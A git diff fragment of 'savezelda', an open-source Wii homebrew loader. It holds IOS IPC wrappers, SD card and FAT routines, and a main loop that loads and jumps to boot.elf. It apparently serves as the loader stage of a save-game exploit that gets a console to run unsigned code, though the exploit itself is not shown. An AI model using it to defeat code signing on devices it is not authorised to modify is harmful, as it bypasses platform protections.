ipc.fd = fd;
|
||||||
|
|
||||||
|
ipc_send_request();
|
||||||
|
ipc_recv_reply();
|
||||||
|
|
||||||
|
return ipc.result;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if 0
|
||||||
|
int ios_read(int fd, void *data, u32 len)
|
||||||
|
{
|
||||||
|
memset(&ipc, 0, sizeof ipc);
|
||||||
|
|
||||||
|
ipc.cmd = 3;
|
||||||
|
ipc.fd = fd;
|
||||||
|
ipc.arg[0] = virt_to_phys(data);
|
||||||
|
ipc.arg[1] = len;
|
||||||
|
|
||||||
|
ipc_send_request();
|
||||||
|
ipc_recv_reply();
|
||||||
|
|
||||||
|
if (data)
|
||||||
|
sync_before_read(data, len);
|
||||||
|
|
||||||
|
return ipc.result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ios_seek(int fd, int where, int whence)
|
||||||
|
{
|
||||||
|
memset(&ipc, 0, sizeof ipc);
|
||||||
|
|
||||||
|
ipc.cmd = 5;
|
||||||
|
ipc.fd = fd;
|
||||||
|
ipc.arg[0] = where;
|
||||||
|
ipc.arg[1] = whence;
|
||||||
|
|
||||||
|
ipc_send_request();
|
||||||
|
ipc_recv_reply();
|
||||||
|
|
||||||
|
return ipc.result;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int ios_ioctl(int fd, u32 n, const void *in, u32 inlen, void *out, u32 outlen)
|
||||||
|
{
|
||||||
|
memset(&ipc, 0, sizeof ipc);
|
||||||
|
|
||||||
|
if (in)
|
||||||
|
sync_after_write(in, inlen);
|
||||||
|
if (out)
|
||||||
|
sync_after_write(out, outlen);
|
||||||
|
|
||||||
|
ipc.cmd = 6;
|
||||||
|
ipc.fd = fd;
|
||||||
|
ipc.arg[0] = n;
|
||||||
|
ipc.arg[1] = virt_to_phys(in);
|
||||||
|
ipc.arg[2] = inlen;
|
||||||
|
ipc.arg[3] = virt_to_phys(out);
|
||||||
|
ipc.arg[4] = outlen;
|
||||||
|
|
||||||
|
ipc_send_request();
|
||||||
|
ipc_recv_reply();
|
||||||
|
|
||||||
|
if (out)
|
||||||
|
sync_before_read(out, outlen);
|
||||||
|
|
||||||
|
return ipc.result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ios_ioctlv(int fd, u32 n, u32 in_count, u32 out_count, struct ioctlv *vec)
|
||||||
|
{
|
||||||
|
u32 i;
|
||||||
|
|
||||||
|
memset(&ipc, 0, sizeof ipc);
|
||||||
|
|
||||||
|
for (i = 0; i < in_count + out_count; i++)
|
||||||
|
if (vec[i].data) {
|
||||||
|
sync_after_write(vec[i].data, vec[i].len);
|
||||||
|
vec[i].data = (void *)virt_to_phys(vec[i].data);
|
||||||
|
}
|
||||||
|
|
||||||
|
sync_after_write(vec, (in_count + out_count) * sizeof *vec);
|
||||||
|
|
||||||
|
ipc.cmd = 7;
|
||||||
|
ipc.fd = fd;
|
||||||
|
ipc.arg[0] = n;
|
||||||
|
ipc.arg[1] = in_count;
|
||||||
|
ipc.arg[2] = out_count;
|
||||||
|
ipc.arg[3] = virt_to_phys(vec);
|
||||||
|
|
||||||
|
ipc_send_request();
|
||||||
|
ipc_recv_reply();
|
||||||
|
|
||||||
|
for (i = in_count; i < in_count + out_count; i++)
|
||||||
|
if (vec[i].data) {
|
||||||
|
vec[i].data = phys_to_virt((u32)vec[i].data);
|
||||||
|
sync_before_read(vec[i].data, vec[i].len);
|
||||||
|
}
|
||||||
|
|
||||||
|
return ipc.result;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Cleanup any old state.
|
||||||
|
|
||||||
|
static void ipc_cleanup_reply(void)
|
||||||
|
{
|
||||||
|
if ((ipc_read(1) & 0x14) != 0x14)
|
||||||
|
return;
|
||||||
|
|
||||||
|
ipc_read(2);
|
||||||
|
ipc_bell(4);
|
||||||
|
|
||||||
|
ipc_irq_ack();
|
||||||
|
ipc_bell(8);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ipc_cleanup_request(void)
|
||||||
|
{
|
||||||
|
if ((ipc_read(1) & 0x22) == 0x22)
|
||||||
|
ipc_bell(2);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void releasse_old_stm_callback(void)
|
||||||
|
{
|
||||||
|
*((u32 *)0x80000018) = 0x00000014;
|
||||||
|
sync_after_write((void*)0x80000014, 8);
|
||||||
|
|
||||||
|
int fd = ios_open("/dev/stm/immediate",0);
|
||||||
|
if (fd < 0) {
|
||||||
|
printf("STM Immediate open failed!\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int err = ios_ioctl(fd, 0x3002, 0, 0, 0, 0);
|
||||||
|
if (err < 0 && err != -6)
|
||||||
|
printf("Eventhook release failed with code %d\n", err);
|
||||||
|
|
||||||
|
ios_close(fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
void reset_ios(void)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
|
||||||
|
//printf("Flushing IPC transactions");
|
||||||
|
for (i = 0; i < 10; i++) {
|
||||||
|
ipc_cleanup_request();
|
||||||
|
ipc_cleanup_reply();
|
||||||
|
ipc_irq_ack();
|
||||||
|
udelay(1000);
|
||||||
|
//printf(".");
|
||||||
|
}
|
||||||
|
//printf(" Done.\n");
|
||||||
|
|
||||||
|
//printf("Closing file descriptors...");
|
||||||
|
for (i = 0; i < 32; i++)
|
||||||
|
ios_close(i);
|
||||||
|
//printf(" Done.\n");
|
||||||
|
|
||||||
|
releasse_old_stm_callback();
|
||||||
|
}
|
171
loader/loader.h
Normal file
171
loader/loader.h
Normal file
@ -0,0 +1,171 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#ifndef _LOADER_H
|
||||||
|
#define _LOADER_H
|
||||||
|
|
||||||
|
#include <stddef.h>
|
||||||
|
|
||||||
|
|
||||||
|
// String functions.
|
||||||
|
|
||||||
|
size_t strlen(const char *);
|
||||||
|
size_t strnlen(const char *, size_t);
|
||||||
|
void *memset(void *, int, size_t);
|
||||||
|
void *memcpy(void *, const void *, size_t);
|
||||||
|
int memcmp(const void *, const void *, size_t);
|
||||||
|
|
||||||
|
|
||||||
|
// Basic types.
|
||||||
|
|
||||||
|
typedef unsigned char u8;
|
||||||
|
typedef unsigned short int u16;
|
||||||
|
typedef unsigned int u32;
|
||||||
|
typedef unsigned long long int u64;
|
||||||
|
|
||||||
|
static inline u16 le16(const u8 *p)
|
||||||
|
{
|
||||||
|
return p[0] | (p[1] << 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline u32 le32(const u8 *p)
|
||||||
|
{
|
||||||
|
return p[0] | (p[1] << 8) | (p[2] << 16) | (p[3] << 24);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Basic I/O.
|
||||||
|
|
||||||
|
static inline u32 read32(u32 addr)
|
||||||
|
{
|
||||||
|
u32 x;
|
||||||
|
|
||||||
|
asm volatile("lwz %0,0(%1) ; sync" : "=r"(x) : "b"(0xc0000000 | addr));
|
||||||
|
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void write32(u32 addr, u32 x)
|
||||||
|
{
|
||||||
|
asm("stw %0,0(%1) ; eieio" : : "r"(x), "b"(0xc0000000 | addr));
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline u16 read16(u32 addr)
|
||||||
|
{
|
||||||
|
u16 x;
|
||||||
|
|
||||||
|
asm volatile("lhz %0,0(%1) ; sync" : "=r"(x) : "b"(0xc0000000 | addr));
|
||||||
|
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void write16(u32 addr, u16 x)
|
||||||
|
{
|
||||||
|
asm("sth %0,0(%1) ; eieio" : : "r"(x), "b"(0xc0000000 | addr));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Address mapping.
|
||||||
|
|
||||||
|
static inline u32 virt_to_phys(const void *p)
|
||||||
|
{
|
||||||
|
return (u32)p & 0x7fffffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void *phys_to_virt(u32 x)
|
||||||
|
{
|
||||||
|
return (void *)(x | 0x80000000);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Cache synchronisation.
|
||||||
|
|
||||||
|
void sync_before_read(void *p, u32 len);
|
||||||
|
void sync_after_write(const void *p, u32 len);
|
||||||
|
void sync_before_exec(const void *p, u32 len);
|
||||||
|
|
||||||
|
|
||||||
|
// Time.
|
||||||
|
|
||||||
|
void udelay(u32 us);
|
||||||
|
|
||||||
|
|
||||||
|
// Special purpose registers.
|
||||||
|
|
||||||
|
#define mtspr(n, x) do { asm("mtspr %1,%0" : : "r"(x), "i"(n)); } while (0)
|
||||||
|
#define mfspr(n) ({ \
|
||||||
|
u32 x; asm volatile("mfspr %0,%1" : "=r"(x) : "i"(n)); x; \
|
||||||
|
})
|
||||||
|
|
||||||
|
|
||||||
|
// Exceptions.
|
||||||
|
|
||||||
|
void exception_init(void);
|
||||||
|
|
||||||
|
|
||||||
|
// USB Gecko.
|
||||||
|
|
||||||
|
void usbgecko_init(void);
|
||||||
|
int usbgecko_checkgecko(void);
|
||||||
|
void usbgecko_console_putc(u8 c);
|
||||||
|
|
||||||
|
u8 usbgecko_flash_read8(u32 offset);
|
||||||
|
u32 usbgecko_flash_read32(u32 offset);
|
||||||
|
|
||||||
|
|
||||||
|
// Version string.
|
||||||
|
|
||||||
|
extern const char version[];
|
||||||
|
|
||||||
|
|
||||||
|
// Video.
|
||||||
|
|
||||||
|
void video_init(void);
|
||||||
|
void fb_putc(char);
|
||||||
|
|
||||||
|
|
||||||
|
// Console.
|
||||||
|
|
||||||
|
void console_init(void);
|
||||||
|
int printf(const char *fmt, ...);
|
||||||
|
|
||||||
|
|
||||||
|
// SD card.
|
||||||
|
|
||||||
|
int sd_init(void);
|
||||||
|
int sd_read_sector(u8 *data, u32 offset);
|
||||||
|
int sd_close(void);
|
||||||
|
|
||||||
|
|
||||||
|
// FAT.
|
||||||
|
|
||||||
|
int fat_init(void);
|
||||||
|
int fat_open(const char *name);
|
||||||
|
int fat_read(void *data, u32 len);
|
||||||
|
|
||||||
|
|
||||||
|
// ELF.
|
||||||
|
|
||||||
|
int valid_elf_image(void *addr);
|
||||||
|
void *load_elf_image(void *addr);
|
||||||
|
|
||||||
|
|
||||||
|
// IOS.
|
||||||
|
|
||||||
|
struct ioctlv {
|
||||||
|
void *data;
|
||||||
|
u32 len;
|
||||||
|
};
|
||||||
|
|
||||||
|
int ios_open(const char *filename, u32 mode);
|
||||||
|
int ios_close(int fd);
|
||||||
|
int ios_read(int fd, void *data, u32 len);
|
||||||
|
int ios_write(int fd, const void *data, u32 len);
|
||||||
|
int ios_seek(int fd, int where, int whence);
|
||||||
|
int ios_ioctl(int fd, u32 n, const void *in, u32 inlen, void *out, u32 outlen);
|
||||||
|
int ios_ioctlv(int fd, u32 n, u32 in_count, u32 out_count, struct ioctlv *vec);
|
||||||
|
|
||||||
|
void reset_ios(void);
|
||||||
|
|
||||||
|
#endif
|
27
loader/loader.lds
Normal file
27
loader/loader.lds
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
/* Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt */
|
||||||
|
|
||||||
|
OUTPUT_FORMAT("elf32-powerpc")
|
||||||
|
OUTPUT_ARCH(powerpc:common)
|
||||||
|
|
||||||
|
ENTRY(_start)
|
||||||
|
|
||||||
|
SECTIONS {
|
||||||
|
. = 0x93000000;
|
||||||
|
|
||||||
|
.start : { crt0.o(*) }
|
||||||
|
.text : { *(.text) }
|
||||||
|
.rodata : { *(.rodata .rodata.*)}
|
||||||
|
.data : { *(.data) }
|
||||||
|
|
||||||
|
__bss_start = .;
|
||||||
|
.bss : { *(.bss) }
|
||||||
|
__bss_end = .;
|
||||||
|
|
||||||
|
. = ALIGN(0x40);
|
||||||
|
.stack : {
|
||||||
|
. += 0x8000;
|
||||||
|
_stack_top = .;
|
||||||
|
}
|
||||||
|
}
|
159
loader/main.c
Normal file
159
loader/main.c
Normal file
@ -0,0 +1,159 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
|
||||||
|
static u8 *const code_buffer = (u8 *)0x90100000;
|
||||||
|
static u8 *const trampoline_buffer = (u8 *)0x80001800;
|
||||||
|
|
||||||
|
static void dsp_reset(void)
|
||||||
|
{
|
||||||
|
write16(0x0c00500a, read16(0x0c00500a) & ~0x01f8);
|
||||||
|
write16(0x0c00500a, read16(0x0c00500a) | 0x0010);
|
||||||
|
write16(0x0c005036, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*static u32 reboot_trampoline[] = {
|
||||||
|
0x3c209000, // lis 1,0x9000
|
||||||
|
0x60210020, // ori 1,1,0x0020
|
||||||
|
0x7c2903a6, // mtctr 1
|
||||||
|
0x4e800420 // bctr
|
||||||
|
};*/
|
||||||
|
|
||||||
|
int try_sd_load(void)
|
||||||
|
{
|
||||||
|
int err;
|
||||||
|
|
||||||
|
err = sd_init();
|
||||||
|
if (err) {
|
||||||
|
printf("SD card not found (%d)\n", err);
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
err = fat_init();
|
||||||
|
if (err == 0)
|
||||||
|
printf("SD card detected\n");
|
||||||
|
else {
|
||||||
|
printf("SD card not detected (%d)\n", err);
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
// if (usbgecko_checkgecko())
|
||||||
|
// printf("USBGecko serial interface detected\n");
|
||||||
|
// else
|
||||||
|
// printf("USBGecko serial interface not detected\n");
|
||||||
|
|
||||||
|
printf("Opening boot.elf:\n");
|
||||||
|
err = fat_open("boot.elf");
|
||||||
|
|
||||||
|
if (err) {
|
||||||
|
printf("boot.elf not found (%d)\n", err);
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
extern u32 fat_file_size;
|
||||||
|
|
||||||
|
printf("reading %d bytes...\n", fat_file_size);
|
||||||
|
err = fat_read(code_buffer, fat_file_size);
|
||||||
|
if (err) {
|
||||||
|
printf("Error %d reading file\n", err);
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("Done.\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int try_usbgecko_load(void)
|
||||||
|
{
|
||||||
|
if (!usbgecko_checkgecko()) {
|
||||||
|
printf("USBGecko not found\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
#define FLASH_OFFSET 0x30000
|
||||||
|
int i, size = usbgecko_flash_read32(FLASH_OFFSET);
|
||||||
|
if (size < 0) {
|
||||||
|
printf("Invalid code size in usbgecko flash (%d)\n", size);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
printf("Loading %d bytes from USBGecko flash (offset=%x)\n",
|
||||||
|
size, FLASH_OFFSET+4);
|
||||||
|
|
||||||
|
for (i=0; i < size; i++)
|
||||||
|
code_buffer[i] = usbgecko_flash_read8(FLASH_OFFSET + 4 + i);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
// slot LED
|
||||||
|
write32(0xcd8000c0, 0x20);
|
||||||
|
|
||||||
|
dsp_reset();
|
||||||
|
|
||||||
|
exception_init();
|
||||||
|
|
||||||
|
// Install trampoline at 80001800; some payloads like to jump
|
||||||
|
// there to restart. Sometimes this can even work.
|
||||||
|
//memcpy(trampoline_buffer, reboot_trampoline, sizeof(reboot_trampoline));
|
||||||
|
|
||||||
|
// Clear interrupt mask.
|
||||||
|
write32(0x0c003004, 0);
|
||||||
|
|
||||||
|
// Unlock EXI.
|
||||||
|
write32(0x0d00643c, 0);
|
||||||
|
|
||||||
|
video_init();
|
||||||
|
usbgecko_init();
|
||||||
|
|
||||||
|
printf("savezelda\n%s\n", version);
|
||||||
|
|
||||||
|
printf("\n");
|
||||||
|
printf("Copyright 2008,2009 Segher Boessenkool\n");
|
||||||
|
printf("Copyright 2008 Haxx Enterprises\n");
|
||||||
|
printf("Copyright 2008 Hector Martin (\"marcan\")\n");
|
||||||
|
printf("Copyright 2003,2004 Felix Domke\n");
|
||||||
|
printf("\n");
|
||||||
|
printf("This code is licensed to you under the terms of the\n");
|
||||||
|
printf("GNU GPL, version 2; see the file COPYING\n");
|
||||||
|
printf("\n");
|
||||||
|
printf("Font and graphics by Freddy Leitner\n");
|
||||||
|
printf("\n");
|
||||||
|
printf("\n");
|
||||||
|
|
||||||
|
printf("Cleaning up environment... ");
|
||||||
|
|
||||||
|
reset_ios();
|
||||||
|
|
||||||
|
printf("OK.\n");
|
||||||
|
|
||||||
|
|
||||||
|
int err;
|
||||||
|
|
||||||
|
restart:
|
||||||
|
err = try_sd_load();
|
||||||
|
|
||||||
|
if (err) {
|
||||||
|
err = try_usbgecko_load();
|
||||||
|
|
||||||
|
if (err) {
|
||||||
|
printf("No code found to load, hanging.\n");
|
||||||
|
for (;;)
|
||||||
|
;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (valid_elf_image(code_buffer)) {
|
||||||
|
printf("Valid ELF image detected.\n");
|
||||||
|
void (*entry)() = load_elf_image(code_buffer);
|
||||||
|
entry();
|
||||||
|
printf("Program returned to loader, reloading.\n");
|
||||||
|
} else
|
||||||
|
printf("No valid ELF image detected, retrying.\n");
|
||||||
|
|
||||||
|
goto restart;
|
||||||
|
}
|
588
loader/sd.c
Normal file
588
loader/sd.c
Normal file
@ -0,0 +1,588 @@
|
|||||||
|
#if 0// Copyright 2008 Haxx Enterprises <bushing@gmail.com>
|
||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
|
||||||
|
static int fd;
|
||||||
|
static u32 rca; // 16 bottom bits are stuff bits
|
||||||
|
|
||||||
|
|
||||||
|
static int sd_hc_write8(u8 reg, u8 data)
|
||||||
|
{
|
||||||
|
u32 param[6];
|
||||||
|
int err;
|
||||||
|
|
||||||
|
memset(param, 0, sizeof param);
|
||||||
|
param[0] = reg;
|
||||||
|
param[3] = 1; // reg size
|
||||||
|
param[4] = data;
|
||||||
|
|
||||||
|
err = ios_ioctl(fd, 1, param, sizeof param, 0, 0);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_hc_read8(u8 reg, u8 *x)
|
||||||
|
{
|
||||||
|
u32 param[6];
|
||||||
|
u32 data;
|
||||||
|
int err;
|
||||||
|
|
||||||
|
memset(param, 0, sizeof param);
|
||||||
|
param[0] = reg;
|
||||||
|
param[3] = 1; // reg size
|
||||||
|
param[4] = 0;
|
||||||
|
|
||||||
|
err = ios_ioctl(fd, 2, param, sizeof param, &data, sizeof data);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
*x = data;
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_reset_card(void)
|
||||||
|
{
|
||||||
|
u32 reply;
|
||||||
|
int err;
|
||||||
|
|
||||||
|
err = ios_ioctl(fd, 4, 0, 0, &reply, sizeof reply);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
rca = reply & 0xffff0000;
|
||||||
|
|
||||||
|
// printf("sd_reset_card(): got reply = %08x\n", reply);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_set_clock(void)
|
||||||
|
{
|
||||||
|
u32 clock;
|
||||||
|
int err;
|
||||||
|
|
||||||
|
clock = 1; // half of the sdclk divisor: a power of two or zero,
|
||||||
|
// should look at capabilities reg to compute this
|
||||||
|
|
||||||
|
err = ios_ioctl(fd, 6, &clock, sizeof clock, 0, 0);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
|
||||||
|
u32 block_count, u32 block_size, void *addr,
|
||||||
|
u32 *outreply, u32 reply_size)
|
||||||
|
{
|
||||||
|
u32 param[9];
|
||||||
|
u32 reply[4];
|
||||||
|
int err;
|
||||||
|
|
||||||
|
param[0] = cmd;
|
||||||
|
param[1] = cmd_type;
|
||||||
|
param[2] = resp_type;
|
||||||
|
param[3] = arg;
|
||||||
|
param[4] = block_count;
|
||||||
|
param[5] = block_size;
|
||||||
|
param[6] = (u32)addr;
|
||||||
|
param[7] = 0; // ???
|
||||||
|
param[8] = 0; // ???
|
||||||
|
|
||||||
|
err = ios_ioctl(fd, 7, param, sizeof param, reply, sizeof reply);
|
||||||
|
|
||||||
|
if (reply_size) // ???
|
||||||
|
memcpy(outreply, reply, reply_size);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#define TYPE_BC 1
|
||||||
|
#define TYPE_BCR 2
|
||||||
|
#define TYPE_AC 3
|
||||||
|
#define TYPE_ADTC 4
|
||||||
|
|
||||||
|
#define RESPONSE_NONE 0
|
||||||
|
#define RESPONSE_R1 1
|
||||||
|
#define RESPONSE_R1B 2
|
||||||
|
#define RESPONSE_R2 3
|
||||||
|
#define RESPONSE_R3 4
|
||||||
|
#define RESPONSE_R4 5
|
||||||
|
#define RESPONSE_R5 6
|
||||||
|
#define RESPONSE_R6 7
|
||||||
|
|
||||||
|
|
||||||
|
static int sd_app_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
|
||||||
|
u32 block_count, u32 block_size, void *addr,
|
||||||
|
u32 *outreply, u32 reply_size)
|
||||||
|
{
|
||||||
|
int err;
|
||||||
|
|
||||||
|
err = sd_command(55, TYPE_AC, RESPONSE_R1, rca, 0, 0, 0, 0, 0);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
err = sd_command(cmd, cmd_type, resp_type, arg,
|
||||||
|
block_count, block_size, addr,
|
||||||
|
outreply, reply_size);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_data_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
|
||||||
|
u32 block_count, u32 block_size, void *data,
|
||||||
|
u32 unk1, u32 unk2, u32 *outreply, u32 reply_size)
|
||||||
|
{
|
||||||
|
u32 param[9];
|
||||||
|
u32 reply[4];
|
||||||
|
struct ioctlv vec[3];
|
||||||
|
int err;
|
||||||
|
|
||||||
|
param[0] = cmd;
|
||||||
|
param[1] = cmd_type;
|
||||||
|
param[2] = resp_type;
|
||||||
|
param[3] = arg;
|
||||||
|
param[4] = block_count;
|
||||||
|
param[5] = block_size;
|
||||||
|
param[6] = (u32)data;
|
||||||
|
param[7] = unk1; // ???
|
||||||
|
param[8] = unk2; // ???
|
||||||
|
|
||||||
|
vec[0].data = param;
|
||||||
|
vec[0].len = sizeof param;
|
||||||
|
vec[1].data = data;
|
||||||
|
vec[1].len = block_count * block_size;
|
||||||
|
vec[2].data = reply;
|
||||||
|
vec[2].len = sizeof reply;
|
||||||
|
|
||||||
|
err = ios_ioctlv(fd, 7, 2, 1, vec);
|
||||||
|
|
||||||
|
if (reply_size) // ???
|
||||||
|
memcpy(outreply, reply, reply_size);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_select(void)
|
||||||
|
{
|
||||||
|
int err;
|
||||||
|
|
||||||
|
//printf("Selecting card:\n");
|
||||||
|
err = sd_command(7, TYPE_AC, RESPONSE_R1B, rca, 0, 0, 0, 0, 0);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_set_blocklength(u32 len)
|
||||||
|
{
|
||||||
|
int err;
|
||||||
|
|
||||||
|
//printf("sd_set_blocklength(%u)\n", len);
|
||||||
|
err = sd_command(16, TYPE_AC, RESPONSE_R1, len, 0, 0, 0, 0, 0);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_set_bus_width(int width)
|
||||||
|
{
|
||||||
|
u32 arg;
|
||||||
|
u8 reg;
|
||||||
|
int err;
|
||||||
|
|
||||||
|
// First notify the card.
|
||||||
|
arg = (width == 4) ? 2 : 0;
|
||||||
|
//printf("sd_set_bus_width()\n");
|
||||||
|
err = sd_app_command(6, TYPE_AC, RESPONSE_R1, arg, 0, 0, 0, 0, 0);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
// Now change the Host Control Register.
|
||||||
|
err = sd_hc_read8(0x28, ®);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
reg = (reg & ~2) | arg;
|
||||||
|
|
||||||
|
err = sd_hc_write8(0x28, reg);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
int sd_read_sector(u8 *data, u32 offset)
|
||||||
|
{
|
||||||
|
u32 reply[4];
|
||||||
|
int err;
|
||||||
|
|
||||||
|
if (offset >= 0x800000)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
err = sd_data_command(18, TYPE_AC, RESPONSE_R1, 0x200 * offset,
|
||||||
|
1, 0x200, data, 1, 0, reply, sizeof reply);
|
||||||
|
|
||||||
|
sync_before_read(data, 0x200);
|
||||||
|
|
||||||
|
//printf("READ block %d\r",offset);
|
||||||
|
if (err)
|
||||||
|
printf("SD READ %d: err=%08x, reply=%08x %08x %08x %08x\n",
|
||||||
|
offset, err, reply[0], reply[1], reply[2], reply[3]);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
int sd_close(void)
|
||||||
|
{
|
||||||
|
return ios_close(fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
int sd_init(void)
|
||||||
|
{
|
||||||
|
int err;
|
||||||
|
|
||||||
|
fd = ios_open("/dev/sdio/slot0", 0);
|
||||||
|
if (fd < 0)
|
||||||
|
return fd;
|
||||||
|
|
||||||
|
err = sd_reset_card();
|
||||||
|
if (err) {
|
||||||
|
printf("SD Card not present? (%d)\n", err);
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// now in standby state
|
||||||
|
|
||||||
|
err = sd_select();
|
||||||
|
if (err)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
// now in transfer state
|
||||||
|
|
||||||
|
// Some broken cards require this:
|
||||||
|
err = sd_set_blocklength(0x200);
|
||||||
|
if (err)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
err = sd_set_bus_width(4); // XXX: Should check in SCR first.
|
||||||
|
if (err)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
err = sd_set_clock(); // XXX: Should check.
|
||||||
|
if (err)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
out:
|
||||||
|
sd_close();
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
// Copyright 2008 Haxx Enterprises <bushing@gmail.com>
|
||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
|
||||||
|
static int fd;
|
||||||
|
static u32 rca; // 16 bottom bits are stuff bits
|
||||||
|
static u32 blk_mul;
|
||||||
|
|
||||||
|
static int sd_hc_write8(u8 reg, u8 data)
|
||||||
|
{
|
||||||
|
u32 param[6];
|
||||||
|
int err;
|
||||||
|
|
||||||
|
memset(param, 0, sizeof param);
|
||||||
|
param[0] = reg;
|
||||||
|
param[3] = 1; // reg size
|
||||||
|
param[4] = data;
|
||||||
|
|
||||||
|
err = ios_ioctl(fd, 1, param, sizeof param, 0, 0);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_hc_read8(u8 reg, u8 *x)
|
||||||
|
{
|
||||||
|
u32 param[6];
|
||||||
|
u32 data;
|
||||||
|
int err;
|
||||||
|
|
||||||
|
memset(param, 0, sizeof param);
|
||||||
|
param[0] = reg;
|
||||||
|
param[3] = 1; // reg size
|
||||||
|
param[4] = 0;
|
||||||
|
|
||||||
|
err = ios_ioctl(fd, 2, param, sizeof param, &data, sizeof data);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
*x = data;
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_reset_card(void)
|
||||||
|
{
|
||||||
|
u32 reply;
|
||||||
|
int err;
|
||||||
|
|
||||||
|
err = ios_ioctl(fd, 4, 0, 0, &reply, sizeof reply);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
rca = reply & 0xffff0000;
|
||||||
